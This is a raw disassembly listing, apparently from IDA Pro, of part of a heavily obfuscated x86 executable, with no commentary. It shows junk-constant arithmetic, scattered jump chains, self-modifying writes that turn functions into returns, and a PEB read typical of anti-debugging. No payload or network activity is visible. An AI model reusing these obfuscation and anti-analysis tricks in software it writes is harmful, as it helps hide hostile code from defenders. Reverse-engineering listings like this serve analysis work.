sub_44DCA4	proc near		; DATA XREF: y22d6.y.:loc_44C695o

arg_0		= dword	ptr  4

		pop	edx
		mov	eax, [esp-4+arg_0]
		call	sub_449E26
sub_44DCA4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_444DB4

loc_44DCAD:				; CODE XREF: sub_444DB4+1313j
		jmp	loc_44BA37
; END OF FUNCTION CHUNK	FOR sub_444DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_44DCB2:				; CODE XREF: sub_43FAC6+34A8j
		jmp	loc_43B5C9
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_44DCB7:				; CODE XREF: y22d6.y.:0044BBF8j
		and	ebx, edx

; =============== S U B	R O U T	I N E =======================================



sub_44DCB9	proc near		; CODE XREF: sub_43C712-1AAEp
		xchg	ecx, [esp+0]
		pop	ecx
		push	ebx
		push	4C6515D8h
		pop	ebx
		xor	ebx, 735A84FCh
		or	ebx, 96FBBC43h
		jmp	loc_449012
sub_44DCB9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442770

loc_44DCD5:				; CODE XREF: sub_442770:loc_438724j
		add	eax, ebp
		add	eax, 894ECB6Eh
		mov	eax, [eax]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-28h]
		jmp	loc_44B8F7
; END OF FUNCTION CHUNK	FOR sub_442770
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44DCEA:				; CODE XREF: sub_4432B8-B408j
		jns	loc_44117A
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_44DCF0	proc near		; CODE XREF: y22d6.y.:0043EC10p
		xchg	ecx, [esp+0]
		pop	ecx
		push	506E484Eh
		pop	ebx
		jmp	loc_44B2FC
sub_44DCF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44DCFF:				; CODE XREF: sub_4450FD-BDEDj
		sbb	edx, ebx
		and	esi, 82A45C5Dh
		jmp	loc_4474C5
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_44DD0C:				; CODE XREF: sub_4452EE-B8E2j
		popf
		mov	ecx, edx
		jmp	loc_443C2F
; END OF FUNCTION CHUNK	FOR sub_4452EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_44DD14:				; CODE XREF: sub_43FAC6:loc_443B73j
		rol	eax, 6
		cmp	eax, 83F5DE76h
		jmp	loc_44445B
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44DD22:				; CODE XREF: sub_44057E+D56Dj
		pop	esi
		xchg	eax, [esp+0Ch+var_C]
		mov	ebp, eax
		pop	eax
		jmp	loc_441802
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
		dw 6F68h
		dd 0C1048EC1h, 0F9E90CCBh
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44485F

loc_44DD3B:				; CODE XREF: sub_44485F+1j
		push	ecx
		mov	eax, large fs:30h
		call	sub_4444CE

loc_44DD48:				; CODE XREF: sub_438B66+5AE2j
		jmp	loc_44D50D
; END OF FUNCTION CHUNK	FOR sub_44485F
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_441B2C
; ---------------------------------------------------------------------------

loc_44DD53:				; CODE XREF: y22d6.y.:00443F71j
		jnz	loc_442F49
		jmp	loc_441647
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_282. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44DD60	proc near		; CODE XREF: sub_448EB6:loc_438C43p
					; y22d6.y.:00449E45j
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_44D293
		retn
sub_44DD60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 4868h
dword_44DD6C	dd 0			; DATA XREF: y22d6.y.:00438C3Cw
					; y22d6.y.:0044A974r
; ---------------------------------------------------------------------------

loc_44DD70:				; DATA XREF: y22d6.y.:0044125Do
					; y22d6.y.:0044C7E5o
		push	edi
		xor	eax, 19CCEB19h
		mov	cs:[esi+eax*8+0], gs

loc_44DD7B:				; CODE XREF: y22d6.y.:00442D27j
		jmp	loc_447A10
; ---------------------------------------------------------------------------
		call	sub_4499F4

loc_44DD85:				; CODE XREF: y22d6.y.:00445211j
		or	ebx, 816045E6h
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_44DD8B:				; CODE XREF: sub_44633F+249Aj
		add	eax, 6D5BAEE1h
		add	eax, ebp
		add	eax, 18EE5AF1h
		mov	eax, [eax]
		jmp	loc_445801
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44DDA0:				; CODE XREF: sub_44AEDA-B03Dj
		and	eax, 347CDA1Ch
		xor	eax, 48CB6725h
		or	eax, 2D64373Bh
		sub	eax, ds:4000E7h
		test	eax, 10000h
		jmp	loc_44C477
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_44DDC3:				; CODE XREF: sub_444D95-1C02j
		mov	eax, [ebp-4]
		mov	ax, [eax]
		and	ax, 38FFh
		cmp	ax, 20FFh
		jz	loc_43A39A
		xor	eax, eax
		jmp	loc_44705D
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------

loc_44DDDE:				; CODE XREF: y22d6.y.:0044938Ej
		xor	eax, 0BF90DFA8h
		call	sub_43CA1A
		push	edi
		push	4289DA91h
		pop	edi
		and	edi, 43C4AEB8h
		jmp	loc_43A32B
; ---------------------------------------------------------------------------

locret_44DDFB:				; CODE XREF: y22d6.y.:00446008j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_44DDFC:				; CODE XREF: sub_437FD8:loc_43A2F1j
					; y22d6.y.:0044C901j
		jmp	loc_4434CE
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_44DE01:				; CODE XREF: sub_44313A:loc_44B20Cj
		mov	eax, [esp+0]
		push	edx
		call	sub_44A413
		mov	eax, 0B4B93D2h
		call	sub_43CA1A
		push	edi
		push	44A23B6Fh
		jmp	loc_44D112
; END OF FUNCTION CHUNK	FOR sub_44313A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44540D

loc_44DE1F:				; CODE XREF: sub_44540D:loc_43DFAEj
		jnz	loc_4401D6
		lea	edx, [ebp-14h]
		mov	eax, offset dword_442A88
		call	sub_44D088
		lea	eax, [ebp-14h]
		push	eax

loc_44DE36:				; CODE XREF: sub_443EF1-8354j
		call	sub_44A9DF
		mov	ds:dword_442A78, eax
		jmp	loc_4401C2
; END OF FUNCTION CHUNK	FOR sub_44540D
; ---------------------------------------------------------------------------

loc_44DE45:				; CODE XREF: y22d6.y.:0043FA3Dj
		adc	ecx, edi
		jmp	loc_447B1A
; ---------------------------------------------------------------------------

loc_44DE4C:				; CODE XREF: y22d6.y.:loc_449318j
					; y22d6.y.:0044CAFAj
		mov	eax, 80F02D07h
		call	sub_43CA1A
		sub	eax, 9ED798DAh
		push	ebx
		push	4AE0262Ch
		pop	ebx
		jmp	loc_44CA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F35E

loc_44DE68:				; CODE XREF: sub_43F35E:loc_443873j
		jnz	loc_442843

loc_44DE6E:				; CODE XREF: y22d6.y.:004428B7j
		jmp	loc_443EDD
; END OF FUNCTION CHUNK	FOR sub_43F35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_44DE73:				; CODE XREF: sub_43B7D4+75FDj
		jp	loc_4489D0
		and	ebp, 4A3AAB4Dh

loc_44DE7F:				; CODE XREF: y22d6.y.:loc_43D21Dj
		mov	eax, [ebp-10h]
		push	edi
		push	7A1DF2Ah
		jmp	loc_44D49A
; END OF FUNCTION CHUNK	FOR sub_43B7D4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_44DE8D	proc near		; CODE XREF: sub_449307:loc_4403E0j
		retn
sub_44DE8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44DE8E:				; CODE XREF: sub_44271A+7006j
		jmp	sub_4480DE
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4452EE

loc_44DE93:				; CODE XREF: sub_4452EE-6348j
		jmp	loc_44B32A
; END OF FUNCTION CHUNK	FOR sub_4452EE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_259. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441AE7

loc_44DE99:				; CODE XREF: sub_441AE7+BDE4j
		jmp	loc_43D973
; END OF FUNCTION CHUNK	FOR sub_441AE7
; ---------------------------------------------------------------------------

loc_44DE9E:				; CODE XREF: y22d6.y.:004493C8j
		jmp	loc_44116D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_44DEA3:				; CODE XREF: sub_4491D8:loc_43D564j
		jz	loc_43CFC5
		not	edx
		jnz	loc_444F44
		mov	ebx, esi
		jmp	loc_43CFC5
; END OF FUNCTION CHUNK	FOR sub_4491D8
; ---------------------------------------------------------------------------

loc_44DEB8:				; CODE XREF: y22d6.y.:loc_442E96j
		push	edi
		sbb	ecx, eax
		add	esi, ecx
		shl	esi, 13h

loc_44DEC0:				; CODE XREF: y22d6.y.:loc_44DC4Aj
		jmp	loc_444D75
; ---------------------------------------------------------------------------

loc_44DEC5:				; DATA XREF: sub_4432B8:loc_442A4Co
		xchg	edi, [esp]
		jmp	loc_43E232
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_44DECE:				; CODE XREF: sub_43CBD3+C8A5j
		jmp	loc_44E5D6
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------
		push	0F6C606Fh
		cmp	ebx, ecx
		jmp	loc_43916F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44DEDF:				; CODE XREF: sub_44DB81-84A6j
		or	edi, ebp
		xchg	ecx, [ebp+0]
		add	ebp, edi
		jmp	loc_4380D3
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44DEEB:				; CODE XREF: sub_4450FD-6EB9j
					; sub_4450FD:loc_44DB11j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44205D
		jmp	loc_44616B
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448AF8

loc_44DEFC:				; CODE XREF: sub_448AF8+11j
		xor	eax, 3BC3D493h
		rol	eax, 18h
		xor	eax, 1713EF50h
		xchg	eax, [esp+0]
		mov	edx, esp
		push	edx
		push	edi
		jmp	loc_43D55F
; END OF FUNCTION CHUNK	FOR sub_448AF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_44DF17:				; CODE XREF: sub_449641:loc_43A0BFj
		cmp	edi, 0DAE1C3CDh
		jmp	loc_43BC2D
; END OF FUNCTION CHUNK	FOR sub_449641

; =============== S U B	R O U T	I N E =======================================



sub_44DF22	proc near		; CODE XREF: sub_4387EA+F32Bj

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		retn
sub_44DF22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44DF29:				; CODE XREF: y22d6.y.:0043C26Aj
		jmp	locret_44AA8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_44DF2E:				; CODE XREF: sub_4409F4+326Bj
		call	sub_444A91

loc_44DF33:				; CODE XREF: sub_442C41-686Fj
		jmp	loc_440359
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------

loc_44DF38:				; CODE XREF: y22d6.y.:00439447j
		jmp	loc_441817
; ---------------------------------------------------------------------------

loc_44DF3D:				; CODE XREF: y22d6.y.:00439C04j
		sbb	edi, 0A6194FC8h
		cdq
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44DF44:				; CODE XREF: sub_43704E:loc_439BF8j
		and	ebx, ds:4000E6h
		add	ebx, 7E1B78B3h
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43DD87
; END OF FUNCTION CHUNK	FOR sub_43704E

; =============== S U B	R O U T	I N E =======================================



sub_44DF58	proc near		; CODE XREF: sub_44D293+3j

; FUNCTION CHUNK AT 00441994 SIZE 00000005 BYTES

		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		mov	[ebp-0Ch], eax
		push	offset sub_44B35D
		jmp	loc_441994
sub_44DF58	endp


; =============== S U B	R O U T	I N E =======================================



sub_44DF73	proc near		; DATA XREF: y22d6.y.:00443603o

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00437A3F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B4BA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00440B3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044845B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A872 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B449 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		mov	ecx, offset loc_44A878
		jmp	loc_44B449
sub_44DF73	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B006

loc_44DF83:				; CODE XREF: sub_43B006:loc_44D411j
		call	sub_444581
		push	offset sub_4443AD
		jmp	nullsub_265
; END OF FUNCTION CHUNK	FOR sub_43B006
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_44DF92:				; CODE XREF: sub_44A5E5:loc_44C87Fj
		mov	edi, ecx
		pop	ecx
		and	edi, 53EC226Ch
		sub	edi, 3279E474h
		jmp	loc_444CD8
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD19

loc_44DFA6:				; CODE XREF: sub_43AD19+Fj
		pop	ebx
		or	ebx, 9F02E4EAh
		add	ebx, 209EE2C5h
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_17
		call	sub_443258
		mov	ebx, edx
		jmp	sub_44E14E
; END OF FUNCTION CHUNK	FOR sub_43AD19
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_44DFC8:				; CODE XREF: sub_43B09B:loc_448394j
		xor	eax, 0B9C9FDF0h
		add	eax, ebp
		add	eax, 0B949BFEEh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_440F5D
		jmp	loc_449F4B
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AC5C

loc_44DFE6:				; CODE XREF: sub_43AC5C+A2Fj
		or	eax, eax
		jnz	loc_446F8D
		jmp	loc_4402BF
; END OF FUNCTION CHUNK	FOR sub_43AC5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B06F

loc_44DFF3:				; CODE XREF: sub_44B06F:loc_43D082j
		call	sub_440494

loc_44DFF8:				; CODE XREF: sub_43B7B5:loc_43DCB0j
		pop	ecx
		add	ecx, 9A6137D0h
		xor	ecx, 0D1EB69E7h
		or	ecx, 95DA594Ch
		add	ecx, 206618E5h
		xchg	ecx, [esp+0]
		jmp	loc_43731D
; END OF FUNCTION CHUNK	FOR sub_44B06F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_44E019:				; CODE XREF: sub_437B43:loc_440A61j
		mov	[edx], eax
		xchg	ebx, [esp-8+arg_4]
		mov	edx, ebx
		call	sub_43D16D

loc_44E025:				; CODE XREF: sub_4477E6+6D11j
		jmp	loc_44870A
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------

loc_44E02A:				; CODE XREF: y22d6.y.:00441428j
		jmp	loc_44311A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_44E02F:				; CODE XREF: sub_43E81B+D93Ej
		pop	ecx
		pushf
		mov	ecx, 9BDE4985h
		shr	eax, 1Ch

loc_44E039:				; CODE XREF: sub_43E81B:loc_44B0BCj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_443797
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44E044:				; CODE XREF: sub_44DB81-8529j
		cdq

loc_44E045:				; CODE XREF: sub_44DB81:loc_44423Dj
		mov	eax, [esp+0]
		push	eax
		call	sub_44C171
		or	eax, eax
		jnz	loc_4380DB
		jmp	loc_4456D5
; END OF FUNCTION CHUNK	FOR sub_44DB81

; =============== S U B	R O U T	I N E =======================================



sub_44E05B	proc near		; DATA XREF: y22d6.y.:0044AEB7o
		mov	ds:dword_41E0E4, eax
		lea	eax, nullsub_198
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_198
sub_44E05B	endp

; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		push	offset loc_43CDE2
		jmp	loc_449B91
; ---------------------------------------------------------------------------

loc_44E080:				; CODE XREF: y22d6.y.:004445ADj
		jbe	loc_441834
		sub	ebp, 5B2BDBEAh
		jmp	loc_443451

; =============== S U B	R O U T	I N E =======================================



sub_44E091	proc near		; CODE XREF: sub_444541-8367p
					; y22d6.y.:0043F09Bj

; FUNCTION CHUNK AT 00446DAC SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, sub_43DB23
		mov	byte ptr [eax],	0C3h
		jmp	loc_446DAC
sub_44E091	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DB23

loc_44E0A3:				; CODE XREF: sub_43DB23+E8B2j
		mov	eax, [esp+0]
		jmp	loc_4392C6
; END OF FUNCTION CHUNK	FOR sub_43DB23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_44E0AB:				; CODE XREF: sub_43B566:loc_439586j
		jz	loc_43E44B

loc_44E0B1:				; CODE XREF: sub_43B252+2A41j
		jmp	loc_44CDE2
; END OF FUNCTION CHUNK	FOR sub_43B566
; ---------------------------------------------------------------------------
		mov	ebx, 527D57Ah
		ror	ebp, 10h
		jmp	loc_43E448
; ---------------------------------------------------------------------------

loc_44E0C3:				; CODE XREF: y22d6.y.:0044D24Dj
		xchg	esi, [esp]
		call	sub_43BE66
		mov	eax, 0F75CA70h
		push	ebx
		push	0BA8849A7h
		pop	ebx
		sub	ebx, 0F6CEC66Dh
		test	ebx, 400000h
		jmp	loc_43FFB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4446B8

loc_44E0E8:				; CODE XREF: sub_4446B8:loc_445A98j
		or	edx, 276EC232h
		add	edx, 842F2C6h
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		jmp	loc_444C24
; END OF FUNCTION CHUNK	FOR sub_4446B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449FA

loc_44E105:				; CODE XREF: sub_4449FAj
		xchg	ecx, [esp+0]
		jmp	loc_44A4B7
; END OF FUNCTION CHUNK	FOR sub_4449FA
; ---------------------------------------------------------------------------

loc_44E10D:				; DATA XREF: sub_43C694:loc_437CFEo
		jmp	loc_44BD91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44E112:				; CODE XREF: sub_44B1D2-F8BEj
					; sub_44B1D2:loc_444354j
		pop	ecx
		xchg	eax, [esp+4+var_4]
		mov	ebp, eax
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A4D

loc_44E11A:				; CODE XREF: sub_444A4D+9j
		jmp	sub_4480DE
; END OF FUNCTION CHUNK	FOR sub_444A4D
; ---------------------------------------------------------------------------

loc_44E11F:				; CODE XREF: y22d6.y.:0043D5E0j
		jmp	loc_44DC33
; ---------------------------------------------------------------------------
		mov	eax, 0A7A44D83h
		push	ebx
		push	52F1B473h
		pop	ebx
		and	ebx, 35555A89h
		add	ebx, 0EFF39738h
		xchg	ebx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44928B

loc_44E144:				; CODE XREF: sub_44928B:loc_4415D7j
		call	sub_43B878

loc_44E149:				; CODE XREF: sub_4432B8+78B2j
		jmp	loc_44E597
; END OF FUNCTION CHUNK	FOR sub_44928B

; =============== S U B	R O U T	I N E =======================================



sub_44E14E	proc near		; CODE XREF: y22d6.y.:00442973p
					; sub_43AD19+132AAj

; FUNCTION CHUNK AT 0043A721 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AD0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B18D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043D7FB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F4F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447DA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448BEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D8E1 SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		test	al, al
		jz	nullsub_367
		jmp	loc_43F4F1
sub_44E14E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E15F:				; CODE XREF: y22d6.y.:loc_4463FBj
		jz	loc_44A7DE
		jmp	loc_4439F6
; ---------------------------------------------------------------------------

loc_44E16A:				; CODE XREF: y22d6.y.:0043CD91j
		mov	[edx], eax

; =============== S U B	R O U T	I N E =======================================



sub_44E16C	proc near		; CODE XREF: sub_43C3DD:loc_443BB2p
		xchg	edi, [esp+0]
		pop	edi

loc_44E170:				; CODE XREF: sub_43B7B5:loc_445311j
		mov	edx, 19CFC62Bh
		call	sub_44D293
		push	eax
		call	sub_44D002

loc_44E180:				; CODE XREF: sub_438A94+15C12j
		jmp	sub_43CA1A
sub_44E16C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44921D

loc_44E185:				; CODE XREF: sub_44921D:loc_449BA0j
		pop	ecx
		rol	ecx, 8
		add	ecx, 611BA48Dh
		mov	[ecx], eax
		pop	ecx
		lea	eax, loc_442502
		jmp	loc_44B767
; END OF FUNCTION CHUNK	FOR sub_44921D
; ---------------------------------------------------------------------------

locret_44E19D:				; CODE XREF: y22d6.y.:loc_43716Cj
		retn
; ---------------------------------------------------------------------------

loc_44E19E:				; CODE XREF: y22d6.y.:0044D6DCj
		jmp	near ptr loc_44BD1D+1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_364. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D59A

loc_44E1A4:				; CODE XREF: sub_43D59A:loc_43D5A7j
		pushf
		push	0B1059B6Ch
		pop	ebx
		xor	ebx, 9EBF29FDh

loc_44E1B1:				; CODE XREF: y22d6.y.:loc_441251j
		add	ebx, 0D08996D9h
		popf
		jmp	loc_439CA7
; END OF FUNCTION CHUNK	FOR sub_43D59A

; =============== S U B	R O U T	I N E =======================================



sub_44E1BD	proc near		; CODE XREF: sub_442638p
					; sub_4416F3:loc_443901j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A014 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043B175 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D6AB SIZE 00000005 BYTES

		pop	edx
		jz	loc_43B175
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		jmp	loc_43A014
sub_44E1BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44E1CF:				; CODE XREF: sub_44271A:loc_444799j
		pop	eax
		or	eax, 0CD32B09Ch
		add	eax, 1F0BE287h
		push	eax
		call	sub_439A78

loc_44E1E2:				; CODE XREF: sub_44256D+6198j
		jmp	loc_4424D6
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_44E1E7:				; CODE XREF: sub_43CFF2+8CC8j
		jmp	loc_439AAB
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------

loc_44E1EC:				; CODE XREF: y22d6.y.:loc_43ADA6j
		jge	loc_44428C
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_44E1F2:				; CODE XREF: sub_4475B3-3853j
		jmp	sub_44A46F
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_44E1F7:				; CODE XREF: sub_439051+661Cj
					; sub_4383E0:loc_445ED3j
		jmp	loc_43D835
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_44E1FC:				; CODE XREF: sub_437FD8+633Ej
		jmp	loc_43A2EB
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------

loc_44E201:				; CODE XREF: y22d6.y.:0043BEF2j
		jmp	loc_447D70
; ---------------------------------------------------------------------------
		sbb	edi, esi
		or	ebx, edx
		jmp	loc_44428C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44E20F:				; CODE XREF: sub_44B17B-1BF0j
		adc	esi, ebp
		jmp	loc_440F58
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442856

loc_44E216:				; CODE XREF: sub_442856+Aj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_44182A
; END OF FUNCTION CHUNK	FOR sub_442856
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B656

loc_44E225:				; CODE XREF: sub_43B656+12331j
		jmp	loc_43EBC8
; END OF FUNCTION CHUNK	FOR sub_43B656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D5

loc_44E22A:				; CODE XREF: sub_4400D5+E499j
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D3B1
; END OF FUNCTION CHUNK	FOR sub_4400D5

; =============== S U B	R O U T	I N E =======================================



sub_44E232	proc near		; CODE XREF: sub_401000+1BBp
					; sub_401000+1E9p ...
		call	sub_44E242
		jmp	ds:off_41E034
sub_44E232	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A0A7

loc_44E23D:				; CODE XREF: sub_44A0A7+1Ej
		jmp	loc_44B075
; END OF FUNCTION CHUNK	FOR sub_44A0A7

; =============== S U B	R O U T	I N E =======================================



sub_44E242	proc near		; CODE XREF: sub_43B9F3:loc_444DAFj
					; y22d6.y.:loc_448605j	...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437934 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043BC88 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D5AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E88D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004428FD SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445076 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00446211 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044B94A SIZE 00000005 BYTES

		jnz	loc_446211
		xchg	edi, [esp+0]
		push	edi
		pop	edx
		jmp	loc_44B94A
sub_44E242	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44E252:				; CODE XREF: sub_43C6D7:loc_43D951j
		jns	loc_442540

loc_44E258:				; CODE XREF: sub_448AF8-30E8j
		jmp	loc_44C9C8
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------

loc_44E25D:				; CODE XREF: y22d6.y.:00441B27j
		jmp	loc_438FEB
; ---------------------------------------------------------------------------
